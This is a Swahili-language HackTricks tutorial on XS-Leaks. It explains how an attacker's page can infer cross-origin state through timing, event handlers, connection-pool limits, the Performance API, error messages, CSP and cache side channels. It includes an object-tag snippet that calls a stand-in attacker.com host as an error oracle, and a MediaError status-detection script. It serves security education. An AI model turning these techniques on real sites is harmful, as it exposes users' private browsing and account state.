XS-Search/XS-Leaks

Reading time: 53 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic Information

XS-Search ni mbinu inayotumika kwa kuchota taarifa za cross-origin kwa kutumia udhaifu wa njia za pembeni.

Vipengele muhimu vinavyohusika katika shambulio hili ni:

  • Mtandao wa Udhaifu: Tovuti lengwa ambayo taarifa inakusudiwa kuchotwa.
  • Mtandao wa Mshambuliaji: Tovuti mbaya iliyoundwa na mshambuliaji, ambayo mwathirika anatembelea, ikihifadhi exploit.
  • Mbinu ya Kujumuisha: Mbinu inayotumika kuingiza Mtandao wa Udhaifu katika Mtandao wa Mshambuliaji (mfano, window.open, iframe, fetch, tag ya HTML yenye href, n.k.).
  • Mbinu ya Leak: Mbinu zinazotumika kubaini tofauti katika hali ya Mtandao wa Udhaifu kulingana na taarifa zilizokusanywa kupitia mbinu ya kujumuisha.
  • Hali: Masharti mawili yanayoweza kutokea ya Mtandao wa Udhaifu, ambayo mshambuliaji anajaribu kutofautisha.
  • Tofauti Zinazoweza Kugundulika: Mabadiliko yanayoweza kuonekana ambayo mshambuliaji anategemea ili kubaini hali ya Mtandao wa Udhaifu.

Detectable Differences

Mambo kadhaa yanaweza kuchambuliwa ili kutofautisha hali za Mtandao wa Udhaifu:

  • Nambari ya Hali: Kutofautisha kati ya nambari mbalimbali za majibu ya HTTP cross-origin, kama vile makosa ya seva, makosa ya mteja, au makosa ya uthibitisho.
  • Matumizi ya API: Kutambua matumizi ya Web APIs kati ya kurasa, ikifunua ikiwa ukurasa wa cross-origin unatumia API maalum ya JavaScript.
  • Mwelekeo: Kugundua mwelekeo kwenda kurasa tofauti, si tu mwelekeo ya HTTP bali pia zile zinazochochewa na JavaScript au HTML.
  • Maudhui ya Ukurasa: Kuangalia mabadiliko katika mwili wa majibu ya HTTP au katika rasilimali ndogo za ukurasa, kama vile idadi ya fremu zilizojumuishwa au tofauti za ukubwa katika picha.
  • Kichwa cha HTTP: Kurekodi uwepo au labda thamani ya kichwa maalum cha majibu ya HTTP, ikiwa ni pamoja na vichwa kama X-Frame-Options, Content-Disposition, na Cross-Origin-Resource-Policy.
  • Muda: Kutambua tofauti za muda zinazofanana kati ya hali hizo mbili.

Inclusion Methods

  • Vitu vya HTML: HTML inatoa vitu mbalimbali kwa ajili ya kujumuisha rasilimali za cross-origin, kama vile stylesheets, picha, au scripts, ikilazimisha kivinjari kuomba rasilimali isiyo ya HTML. Mkusanyiko wa vitu vya HTML vinavyoweza kutumika kwa kusudi hili unaweza kupatikana kwenye https://github.com/cure53/HTTPLeaks.
  • Frames: Vitu kama iframe, object, na embed vinaweza kuingiza rasilimali za HTML moja kwa moja kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa hauna ulinzi wa fremu, JavaScript inaweza kufikia kitu cha fremu kupitia mali ya contentWindow.
  • Pop-ups: Mbinu ya window.open inafungua rasilimali katika tab au dirisha jipya, ikitoa handle ya dirisha kwa JavaScript kuingiliana na mbinu na mali zinazofuata SOP. Pop-ups, mara nyingi hutumiwa katika uthibitisho wa moja, hupita vizuizi vya fremu na vidakuzi vya rasilimali lengwa. Hata hivyo, vivinjari vya kisasa vinakandamiza uundaji wa pop-up kwa vitendo fulani vya mtumiaji.
  • Maombi ya JavaScript: JavaScript inaruhusu maombi ya moja kwa moja kwa rasilimali lengwa kwa kutumia XMLHttpRequests au Fetch API. Mbinu hizi zinatoa udhibiti sahihi juu ya ombi, kama vile kuchagua kufuata mwelekeo ya HTTP.

Leak Techniques

  • Event Handler: Mbinu ya kawaida ya leak katika XS-Leaks, ambapo waendeshaji wa matukio kama onload na onerror hutoa taarifa kuhusu mafanikio au kushindwa kwa upakiaji wa rasilimali.
  • Ujumbe wa Makosa: Makaratasi ya JavaScript au kurasa maalum za makosa zinaweza kutoa taarifa za leak moja kwa moja kutoka ujumbe wa kosa au kwa kutofautisha kati ya uwepo na ukosefu wake.
  • Mipaka ya Kijumla: Mipaka halisi ya kivinjari, kama vile uwezo wa kumbukumbu au mipaka mingine iliyowekwa na kivinjari, inaweza kuashiria wakati kigezo kinapofikiwa, ikihudumu kama mbinu ya leak.
  • Hali ya Kijumla: Maingiliano yanayoweza kugundulika na hali za kijumla za vivinjari (mfano, kiolesura cha Historia) yanaweza kutumika. Kwa mfano, idadi ya entries katika historia ya kivinjari inaweza kutoa vidokezo kuhusu kurasa za cross-origin.
  • Performance API: API hii inatoa maelezo ya utendaji wa ukurasa wa sasa, ikiwa ni pamoja na wakati wa mtandao kwa hati na rasilimali zilizopakiwa, ikiruhusu kutoa maelezo kuhusu rasilimali zilizohitajika.
  • Mali Zinazoweza Kusomwa: Baadhi ya mali za HTML ni zinazoweza kusomwa cross-origin na zinaweza kutumika kama mbinu ya leak. Kwa mfano, mali ya window.frame.length inaruhusu JavaScript kuhesabu fremu zilizojumuishwa katika ukurasa wa wavuti cross-origin.

XSinator Tool & Paper

XSinator ni chombo cha kiotomatiki cha kuangalia vivinjari dhidi ya XS-Leaks kadhaa zinazojulikana zilizoelezwa katika karatasi yake: https://xsinator.com/paper.pdf

Unaweza kupata chombo hicho katika https://xsinator.com/

warning

XS-Leaks Zilizotengwa: Ilibidi tutenge XS-Leaks zinazotegemea wafanyakazi wa huduma kwani zingeharibu leaks nyingine katika XSinator. Zaidi ya hayo, tulichagua kutenga XS-Leaks zinazotegemea usakinishaji mbaya na makosa katika programu maalum ya wavuti. Kwa mfano, makosa ya usakinishaji wa CrossOrigin Resource Sharing (CORS), uvujaji wa postMessage au Cross-Site Scripting. Zaidi ya hayo, tulitenga XS-Leaks za muda kwa sababu mara nyingi huwa na matatizo ya kuwa polepole, kelele na zisizo sahihi.

Timing Based techniques

Baadhi ya mbinu zifuatazo zitatumia muda kama sehemu ya mchakato wa kugundua tofauti katika hali zinazowezekana za kurasa za wavuti. Kuna njia tofauti za kupima muda katika kivinjari cha wavuti.

Clocks: API ya performance.now() inaruhusu waendelezaji kupata vipimo vya muda vya hali ya juu.
Kuna idadi kubwa ya APIs ambazo mshambuliaji anaweza kuzitumia kuunda saa zisizo za moja kwa moja: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animations za CSS, na nyingine.
Kwa maelezo zaidi: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Event Handler Techniques

Onload/Onerror

{{#ref}} cookie-bomb-+-onerror-xs-leak.md {{#endref}}

Mfano wa msimbo unajaribu kupakia vitu vya scripts kutoka JS, lakini vitambulisho vingine kama vile vitu, stylesheets, picha, sauti vinaweza pia kutumika. Zaidi ya hayo, inawezekana pia kuingiza tag moja kwa moja na kutangaza matukio ya onload na onerror ndani ya tag (badala ya kuingiza kutoka JS).

Pia kuna toleo lisilo na script la shambulio hili:

html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

In this case if example.com/404 is not found attacker.com/?error will be loaded.

Onload Timing

{{#ref}} performance.now-example.md {{#endref}}

Onload Timing + Forced Heavy Task

Teknolojia hii ni kama ile ya awali, lakini mshambuliaji pia atachochea hatua fulani kuchukua muda muhimu wakati jibu ni chanya au hasi na kupima muda huo.

{{#ref}} performance.now-+-force-heavy-task.md {{#endref}}

unload/beforeunload Timing

Muda unaotumika kupata rasilimali unaweza kupimwa kwa kutumia unload na beforeunload matukio. Tukio la beforeunload linatokea wakati kivinjari kinakaribia kuhamia kwenye ukurasa mpya, wakati tukio la unload linatokea wakati mchakato wa kuhamia unafanyika. Tofauti ya muda kati ya matukio haya mawili inaweza kuhesabiwa ili kubaini muda ambao kivinjari kilitumia kupata rasilimali.

Sandboxed Frame Timing + onload

Imethibitishwa kuwa katika kukosekana kwa Framing Protections, muda unaohitajika kwa ukurasa na rasilimali zake ndogo kupakia kupitia mtandao unaweza kupimwa na mshambuliaji. Kipimo hiki kwa kawaida kinawezekana kwa sababu onload handler ya iframe inasababisha tu baada ya kukamilika kwa upakiaji wa rasilimali na utekelezaji wa JavaScript. Ili kupita tofauti iliyosababishwa na utekelezaji wa script, mshambuliaji anaweza kutumia sifa ya sandbox ndani ya <iframe>. Kuongeza sifa hii kunakataza kazi nyingi, hasa utekelezaji wa JavaScript, hivyo kuruhusu kipimo ambacho kinategemea zaidi utendaji wa mtandao.

javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: Ikiwa unaweza kufanya ukurasa uwe na kosa wakati maudhui sahihi yanapofikiwa na kufanya upakue vizuri wakati maudhui yoyote yanapofikiwa, basi unaweza kufanya mzunguko kutoa taarifa zote bila kupima muda.
  • Code Example:

Fikiria kwamba unaweza kuingiza ukurasa ambao una maudhui ya siri ndani ya Iframe.

Unaweza kufanya mwathirika atafute faili ambayo ina "bendera" kwa kutumia Iframe (ukitumia CSRF kwa mfano). Ndani ya Iframe unajua kwamba tukio la onload litakuwa linatekelezwa kila wakati angalau mara moja. Kisha, unaweza kubadilisha URL ya iframe lakini kubadilisha tu maudhui ya hash ndani ya URL.

Kwa mfano:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Ikiwa URL ya kwanza ilipakuliwa kwa mafanikio, basi, wakati ukibadilisha sehemu ya hash ya URL tukio la onload halitazinduliwa tena. Lakini ikiwa ukurasa ulikuwa na aina fulani ya kosa wakati wa kupakia, basi, tukio la onload litazinduliwa tena.

Kisha, unaweza kutofautisha kati ya ukurasa ulio pakuliwa vizuri au ukurasa ambao una kosa wakati unafikiwa.

Javascript Execution

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: Ikiwa ukurasa unarudisha maudhui ya nyeti, au maudhui ambayo yanaweza kudhibitiwa na mtumiaji. Mtumiaji anaweza kuweka kodhi halali ya JS katika kesi hasi, na kupakia kila jaribio ndani ya <script> vitambulisho, hivyo katika kesi hasi kodhi ya washambuliaji inasimamiwa, na katika kesi za thibitisho hakuna itatekelezwa.
  • Code Example:

{{#ref}} javascript-execution-xs-leak.md {{#endref}}

CORB - Onerror

  • Inclusion Methods: HTML Elements
  • Detectable Difference: Status Code & Headers
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: Cross-Origin Read Blocking (CORB) ni kipimo cha usalama kinachozuia kurasa za wavuti kupakia rasilimali nyeti za cross-origin ili kulinda dhidi ya mashambulizi kama Spectre. Hata hivyo, washambuliaji wanaweza kutumia tabia yake ya kinga. Wakati jibu linalohusishwa na CORB linaporudisha CORB protected Content-Type na nosniff na msimbo wa hali 2xx, CORB inakata mwili wa jibu na vichwa. Washambuliaji wanaoshuhudia hili wanaweza kudhani mchanganyiko wa msimbo wa hali (unaonyesha mafanikio au kosa) na Content-Type (inaonyesha ikiwa inakabiliwa na CORB), ikisababisha uvujaji wa taarifa.
  • Code Example:

Angalia kiungo cha maelezo zaidi kwa maelezo zaidi kuhusu shambulizi.

onblur

Inawezekana kupakia ukurasa ndani ya iframe na kutumia #id_value kufanya ukurasa uangalie kwenye kipengele cha iframe kilichotajwa ikiwa, kisha ikiwa ishara ya onblur itazinduliwa, kipengele cha ID kinapatikana.
Unaweza kufanya shambulizi sawa na vitambulisho vya portal.

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: API Usage
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: Kusanya taarifa nyeti kutoka kwa postMessage au tumia uwepo wa postMessages kama oracle kujua hali ya mtumiaji kwenye ukurasa
  • Code Example: Any code listening for all postMessages.

Programu mara nyingi hutumia postMessage broadcasts kuwasiliana kati ya asili tofauti. Hata hivyo, njia hii inaweza kwa bahati mbaya kufichua taarifa nyeti ikiwa parameter ya targetOrigin haijakamilishwa ipasavyo, ikiruhusu dirisha lolote kupokea ujumbe. Zaidi ya hayo, kitendo cha kupokea ujumbe kinaweza kutenda kama oracle; kwa mfano, ujumbe fulani huenda ukatumwa tu kwa watumiaji walioingia. Kwa hivyo, uwepo au ukosefu wa ujumbe hawa unaweza kufichua taarifa kuhusu hali au utambulisho wa mtumiaji, kama vile ikiwa wameidhinishwa au la.

Global Limits Techniques

WebSocket API

Inawezekana kubaini ikiwa, na ni wangapi, uunganisho wa WebSocket ukurasa wa lengo unatumia. Inaruhusu mshambuliaji kugundua hali za programu na kuvuja taarifa zinazohusiana na idadi ya uhusiano wa WebSocket.

Ikiwa asili moja inatumia idadi kubwa zaidi ya vitu vya uhusiano wa WebSocket, bila kujali hali zao za uhusiano, uundaji wa vitu vipya utasababisha makosa ya JavaScript. Ili kutekeleza shambulizi hili, tovuti ya mshambuliaji inafungua tovuti ya lengo katika pop-up au iframe na kisha, baada ya tovuti ya lengo kupakuliwa, inajaribu kuunda idadi kubwa zaidi ya uhusiano wa WebSocket iwezekanavyo. Idadi ya makosa yaliyotupwa ni idadi ya uhusiano wa WebSocket inayotumiwa na tovuti ya lengo dirisha.

Payment API

Hii XS-Leak inaruhusu mshambuliaji gundua wakati ukurasa wa cross-origin unapoanzisha ombi la malipo.

Kwa sababu ombile moja tu linaweza kuwa hai wakati mmoja, ikiwa tovuti ya lengo inatumia Payment Request API, jaribio lolote la kuonyesha matumizi ya API hii litashindwa, na kusababisha makosa ya JavaScript. Mshambuliaji anaweza kutumia hii kwa kujaribu kuonyesha UI ya Payment API mara kwa mara. Ikiwa jaribio moja linapelekea kosa, tovuti ya lengo kwa sasa inaitumia. Mshambuliaji anaweza kuficha jaribio haya ya mara kwa mara kwa kufunga UI mara moja baada ya kuunda.

Timing the Event Loop

{{#ref}} event-loop-blocking-+-lazy-images.md {{#endref}}

JavaScript inafanya kazi kwenye mzunguko wa tukio wa nyuzi moja mfano wa ushirikiano, ikimaanisha kwamba inaweza kutekeleza kazi moja tu kwa wakati. Sifa hii inaweza kutumika kutathmini ni muda gani kodhi kutoka asili tofauti inachukua kutekeleza. Mshambuliaji anaweza kupima muda wa utekelezaji wa kodhi yao wenyewe katika mzunguko wa tukio kwa kutuma matukio mara kwa mara yenye mali zilizowekwa. Matukio haya yatachakatwa wakati hifadhi ya matukio ikiwa tupu. Ikiwa asili nyingine pia inatuma matukio kwenye hifadhi hiyo hiyo, mshambuliaji anaweza kudhani muda inachukua kwa matukio haya ya nje kutekelezwa kwa kuangalia ucheleweshaji katika utekelezaji wa kazi zao wenyewe. Njia hii ya kufuatilia mzunguko wa tukio kwa ucheleweshaji inaweza kufichua muda wa utekelezaji wa kodhi kutoka asili tofauti, ikifichua taarifa nyeti.

warning

Katika muda wa utekelezaji inawezekana kuondoa vigezo vya mtandao ili kupata vipimo sahihi zaidi. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuzipakia.

Busy Event Loop

  • Inclusion Methods:
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Summary: Njia moja ya kupima muda wa utekelezaji wa operesheni ya wavuti inahusisha kuzuia makusudi mzunguko wa tukio wa nyuzi moja na kisha kupima ni muda gani inachukua kwa mzunguko wa tukio kurudi upya. Kwa kuingiza operesheni ya kuzuia (kama vile hesabu ndefu au wito wa API wa synchronous) kwenye mzunguko wa tukio, na kufuatilia muda inachukua kwa kodhi inayofuata kuanza kutekelezwa, mtu anaweza kudhani muda wa kazi ambazo zilikuwa zikitekelezwa katika kipindi cha kuzuia. Mbinu hii inatumia asili ya nyuzi moja ya mzunguko wa tukio wa JavaScript, ambapo kazi zinafanywa kwa mpangilio, na inaweza kutoa maarifa kuhusu utendaji au tabia ya operesheni nyingine zinazoshiriki nyuzi hiyo hiyo.
  • Code Example:

Faida kubwa ya mbinu ya kupima muda wa utekelezaji kwa kufunga mzunguko wa tukio ni uwezo wake wa kukwepa Site Isolation. Site Isolation ni kipengele cha usalama kinachotenganisha tovuti tofauti katika michakato tofauti, lengo lake ni kuzuia tovuti za uhalifu kupata moja kwa moja data nyeti kutoka tovuti nyingine. Hata hivyo, kwa kuathiri muda wa utekelezaji wa asili nyingine kupitia mzunguko wa tukio wa pamoja, mshambuliaji anaweza kwa njia isiyo ya moja kwa moja kutoa taarifa kuhusu shughuli za asili hiyo. Njia hii haitegemei ufikiaji wa moja kwa moja wa data ya asili nyingine bali inatazama athari za shughuli za asili hiyo kwenye mzunguko wa tukio wa pamoja, hivyo kukwepa vizuizi vya kinga vilivyowekwa na Site Isolation.

warning

Katika muda wa utekelezaji inawezekana kuondoa vigezo vya mtandao ili kupata vipimo sahihi zaidi. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuzipakia.

Connection Pool

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Summary: Mshambuliaji anaweza kufunga soketi zote isipokuwa 1, kupakia wavuti ya lengo na kwa wakati huo huo kupakia ukurasa mwingine, muda hadi ukurasa wa mwisho unaanza kupakia ni muda ambao ukurasa wa lengo ulitumia kupakia.
  • Code Example:

{{#ref}} connection-pool-example.md {{#endref}}

Vivinjari vinatumia soketi kwa mawasiliano ya seva, lakini kutokana na rasilimali zilizopunguka za mfumo wa uendeshaji na vifaa, vivinjari vinapaswa kuweka mipaka kwenye idadi ya soketi zinazofanya kazi kwa wakati mmoja. Washambuliaji wanaweza kutumia kikomo hiki kupitia hatua zifuatazo:

  1. Tambua kikomo cha soketi cha kivinjari, kwa mfano, soketi 256 za kimataifa.
  2. Jaza soketi 255 kwa muda mrefu kwa kuanzisha ombi 255 kwa mwenyeji tofauti, iliyoundwa kuweka uhusiano wazi bila kukamilisha.
  3. Tumia soketi ya 256 kutuma ombi kwa ukurasa wa lengo.
  4. Jaribu ombi la 257 kwa mwenyeji tofauti. Kwa kuwa soketi zote zinatumika (kama ilivyo katika hatua 2 na 3), ombi hili litakuwa kwenye foleni hadi soketi ipatikane. Ucheleweshaji kabla ya ombi hili kuendelea unampa mshambuliaji taarifa za muda kuhusu shughuli za mtandao zinazohusiana na soketi ya 256 (soketi ya ukurasa wa lengo). Ufafanuzi huu unapatikana kwa sababu soketi 255 kutoka hatua 2 bado zinatumika, ikimaanisha kwamba soketi yoyote mpya inayopatikana lazima iwe ile iliyotolewa kutoka hatua 3. Muda inachukua kwa soketi ya 256 kuwa inapatikana hivyo unahusishwa moja kwa moja na muda unaohitajika kwa ombi la ukurasa wa lengo kukamilika.

Kwa maelezo zaidi: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info:
  • Summary: Ni kama mbinu ya awali lakini badala ya kutumia soketi zote, Google Chrome inaweka kikomo cha ombile 6 zinazofanya kazi kwa asili moja. Ikiwa tutazuia 5 kisha kuanzisha ombi la 6 tunaweza kupima na ikiwa tumeweza kufanya ukurasa wa mwathirika utume maombi zaidi kwa kiungo sawa ili kugundua hali ya ukurasa, ombi la 6 litachukua muda mrefu na tunaweza kuligundua.

Performance API Techniques

Performance API inatoa maarifa kuhusu vipimo vya utendaji wa programu za wavuti, zaidi ya hayo inaboreshwa na Resource Timing API. Resource Timing API inaruhusu kufuatilia muda wa maombi ya mtandao kwa undani, kama vile muda wa maombi. Kwa kuzingatia, wakati seva zinajumuisha kichwa cha Timing-Allow-Origin: * katika majibu yao, data za ziada kama vile ukubwa wa uhamisho na muda wa kutafuta kikoa zinapatikana.

Hii data nyingi inaweza kupatikana kupitia mbinu kama performance.getEntries au performance.getEntriesByName, ikitoa mtazamo wa kina wa taarifa zinazohusiana na utendaji. Zaidi ya hayo, API inarahisisha kupima muda wa utekelezaji kwa kuhesabu tofauti kati ya alama za muda zinazopatikana kutoka performance.now(). Hata hivyo, inapaswa kuzingatiwa kwamba kwa shughuli fulani katika vivinjari kama Chrome, usahihi wa performance.now() unaweza kuwa na mipaka hadi milisekunde, ambayo inaweza kuathiri undani wa vipimo vya muda.

Mbali na vipimo vya muda, Performance API inaweza kutumika kwa maarifa yanayohusiana na usalama. Kwa mfano, uwepo au ukosefu wa kurasa katika kitu cha performance katika Chrome unaweza kuashiria matumizi ya X-Frame-Options. Kwa haswa, ikiwa ukurasa umezuia kuonyeshwa katika fremu kutokana na X-Frame-Options, hautarekodiwa katika kitu cha performance, ikitoa kidokezo kidogo kuhusu sera za uundaji wa ukurasa.

Error Leak

Inawezekana kutofautisha kati ya msimbo wa hali wa majibu ya HTTP kwa sababu maombi yanayosababisha kosa hayaundai kipengee cha utendaji.

Style Reload Error

Katika mbinu ya awali pia iligundulika kesi mbili ambapo hitilafu za kivinjari katika GC zinapelekea rasilimali kupakiwa mara mbili wanaposhindwa kupakia. Hii itasababisha kuingia nyingi katika Performance API na hivyo inaweza kugundulika.

Request Merging Error

Mbinu hii iligunduliwa katika jedwali katika karatasi iliyoelezwa lakini hakuna maelezo ya mbinu hiyo iliyoonekana. Hata hivyo, unaweza kupata msimbo wa chanzo ukikagua katika https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Empty Page Leak

Mshambuliaji anaweza kugundua ikiwa ombi limesababisha mwili wa jibu wa HTTP kuwa tupu kwa sababu kurasa tupu hazaundai kipengee cha utendaji katika vivinjari vingine.

XSS-Auditor Leak

Katika Madai ya Usalama (SA), XSS Auditor, iliyokusudiwa awali kuzuia mashambulizi ya Cross-Site Scripting (XSS), inaweza kwa njia isiyo ya moja kwa moja kutumika kuvuja taarifa nyeti. Ingawa kipengele hiki kilijengwa kimeondolewa kutoka Google Chrome (GC), bado kinapatikana katika SA. Mnamo mwaka wa 2013, Braun na Heiderich walionyesha kwamba XSS Auditor inaweza kwa bahati mbaya kuzuia skripti halali, na kusababisha matokeo ya uwongo. Kwa kujenga juu ya hili, watafiti walitengeneza mbinu za kutoa taarifa na kugundua maudhui maalum kwenye kurasa za cross-origin, dhana inayojulikana kama XS-Leaks, ambayo iliripotiwa awali na Terada na kuelezewa na Heyes katika chapisho la blogu. Ingawa mbinu hizi zilikuwa maalum kwa XSS Auditor katika GC, iligundulika kwamba katika SA, kurasa zilizozuiwa na XSS Auditor hazizalishi kuingia katika Performance API, ikifichua njia ambayo taarifa nyeti inaweza bado kuvuja.

X-Frame Leak

Ikiwa ukurasa haukubaliwi kuonyeshwa katika iframe hauzali kipengee cha utendaji. Kama matokeo, mshambuliaji anaweza kugundua kichwa cha jibu X-Frame-Options.
Vivyo hivyo inatokea ikiwa unatumia embed tag.

Download Detection

Kama ilivyo katika XS-Leak iliyoelezwa, rasilimali inayopakuliwa kwa sababu ya kichwa cha ContentDisposition, pia haizalishi kipengee cha utendaji. Mbinu hii inafanya kazi katika vivinjari vyote vikuu.

Redirect Start Leak

Tumegundua mfano mmoja wa XS-Leak unaotumia tabia ya vivinjari vingine ambavyo vinarekodi taarifa nyingi sana kwa maombi ya cross-origin. Kiwango kinatambua subset ya sifa ambazo zinapaswa kuwekwa sifuri kwa rasilimali za cross-origin. Hata hivyo, katika SA inawezekana kugundua ikiwa mtumiaji anae elekezwa na ukurasa wa lengo, kwa kuuliza Performance API na kuangalia data ya redirectStart timing.

Duration Redirect Leak

Katika GC, muda wa maombi yanayosababisha uelekeo ni hasi na hivyo inaweza kutofautishwa na maombi ambayo hayasababisha uelekeo.

CORP Leak

Katika baadhi ya matukio, kipengee cha nextHopProtocol kinaweza kutumika kama mbinu ya kuvuja. Katika GC, wakati kichwa cha CORP kimewekwa, nextHopProtocol itakuwa tupu. Kumbuka kwamba SA haitaunda kipengee cha utendaji kabisa kwa rasilimali zilizo na CORP.

Service Worker

Huduma za kazi ni muktadha wa skripti unaotendwa kwa asili. Zinakimbia katika nyuma ya ukurasa wa wavuti na zinaweza kukamata, kubadilisha, na kuficha rasilimali ili kuunda programu za wavuti zisizo na mtandao.
Ikiwa rasilimali iliyofichwa na huduma ya kazi inafikiwa kupitia iframe, rasilimali hiyo itakuwa imepakuliwa kutoka kwenye cache ya huduma ya kazi.
Ili kugundua ikiwa rasilimali hiyo ilipakuliwa kutoka kwenye cache ya huduma ya kazi, Performance API inaweza kutumika.
Hii inaweza pia kufanywa kwa shambulizi la Timing (angalia karatasi kwa maelezo zaidi).

Cache

Kwa kutumia Performance API inawezekana kuangalia ikiwa rasilimali imehifadhiwa.

Network Duration

Error Messages Technique

Media Error

javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

The MediaError interface's message property uniquely identifies resources that load successfully with a distinct string. An attacker can exploit this feature by observing the message content, thereby deducing the response status of a cross-origin resource.

CORS Error

Hii mbinu inamuwezesha mshambuliaji kuchukua eneo la kuhamasisha la tovuti ya cross-origin kwa kutumia jinsi vivinjari vya Webkit vinavyoshughulikia maombi ya CORS. Kwa hakika, wakati ombwe la CORS linatumwa kwa tovuti lengwa inayotoa uhamasishaji kulingana na hali ya mtumiaji na kivinjari kinakataa ombi hilo, URL kamili ya lengo la uhamasishaji inafichuliwa ndani ya ujumbe wa kosa. Uthibitisho huu sio tu unafichua ukweli wa uhamasishaji bali pia unafichua mwisho wa uhamasishaji na parameta za uchunguzi za siri ambazo zinaweza kuwa nazo.

SRI Error

Mshambuliaji anaweza kutumia ujumbe wa kosa wa kina ili kubaini ukubwa wa majibu ya cross-origin. Hii inawezekana kutokana na mfumo wa Subresource Integrity (SRI), ambao unatumia sifa ya uaminifu kuthibitisha kwamba rasilimali zilizopatikana, mara nyingi kutoka CDNs, hazijaharibiwa. Ili SRI ifanye kazi kwenye rasilimali za cross-origin, hizi lazima ziwe CORS-enabled; vinginevyo, haziko chini ya ukaguzi wa uaminifu. Katika Security Assertions (SA), kama vile kosa la CORS XS-Leak, ujumbe wa kosa unaweza kukamatwa baada ya ombi la fetch lililokuwa na sifa ya uaminifu kushindwa. Wavamizi wanaweza kwa makusudi kuanzisha kosa hili kwa kupewa thamani ya hash isiyo sahihi kwa sifa ya uaminifu ya ombi lolote. Katika SA, ujumbe wa kosa unaotokana bila kukusudia unafichua urefu wa maudhui ya rasilimali iliyohitajika. Uvujaji huu wa taarifa unamuwezesha mshambuliaji kubaini tofauti katika ukubwa wa majibu, na kuweka njia kwa mashambulizi ya kisasa ya XS-Leak.

CSP Violation/Detection

XS-Leak inaweza kutumia CSP kugundua ikiwa tovuti ya cross-origin ilihamishwa kwa asili tofauti. Uvujaji huu unaweza kugundua uhamasishaji, lakini pia, kikoa cha lengo la uhamasishaji kinavuja. Wazo la msingi la shambulio hili ni kuruhusu kikoa lengwa kwenye tovuti ya mshambuliaji. Mara ombi linapotolewa kwa kikoa lengwa, linahamasisha kwa kikoa cha cross-origin. CSP inazuia ufikiaji wake na kuunda ripoti ya ukiukaji inayotumika kama mbinu ya uvujaji. Kulingana na kivinjari, ripoti hii inaweza kuvuja eneo la lengo la uhamasishaji.
Vivinjari vya kisasa havitafichua URL ambayo ilihamishwa, lakini bado unaweza kugundua kwamba uhamasishaji wa cross-origin ulianzishwa.

Cache

Vivinjari vinaweza kutumia cache moja iliyoshirikiwa kwa tovuti zote. Bila kujali asili yao, inawezekana kubaini ikiwa ukurasa wa lengo ume omba faili maalum.

Ikiwa ukurasa unaload picha tu ikiwa mtumiaji ameingia, unaweza kubatilisha rasilimali (hivyo haipo tena kwenye cache ikiwa ilikuwa, angalia viungo vya maelezo zaidi), fanya ombi ambalo linaweza kupakia rasilimali hiyo na kujaribu kupakia rasilimali hiyo kwa ombi mbaya (kwa mfano, kutumia kichwa cha referer kilichozidi). Ikiwa rasilimali ilipakia haikuchochea kosa lolote, ni kwa sababu ilikuwa cached.

CSP Directive

Kipengele kipya katika Google Chrome (GC) kinaruhusu kurasa za wavuti kupendekeza Sera ya Usalama wa Maudhui (CSP) kwa kuweka sifa kwenye kipengele cha iframe, huku miongozo ya sera ikitolewa pamoja na ombi la HTTP. Kawaida, maudhui yaliyoingizwa lazima yathibitishe hili kupitia kichwa cha HTTP, au ukurasa wa kosa unaonyeshwa. Hata hivyo, ikiwa iframe tayari inasimamiwa na CSP na sera iliyopendekezwa mpya si kali zaidi, ukurasa utafunguka kawaida. Mfumo huu unafungua njia kwa mshambuliaji gundua miongozo maalum ya CSP ya ukurasa wa cross-origin kwa kutambua ukurasa wa kosa. Ingawa udhaifu huu ulitambuliwa kama umerekebishwa, matokeo yetu yanaonyesha mbinu mpya ya uvujaji inayoweza kugundua ukurasa wa kosa, ikionyesha kwamba tatizo la msingi halikushughulikiwa kikamilifu.

CORP

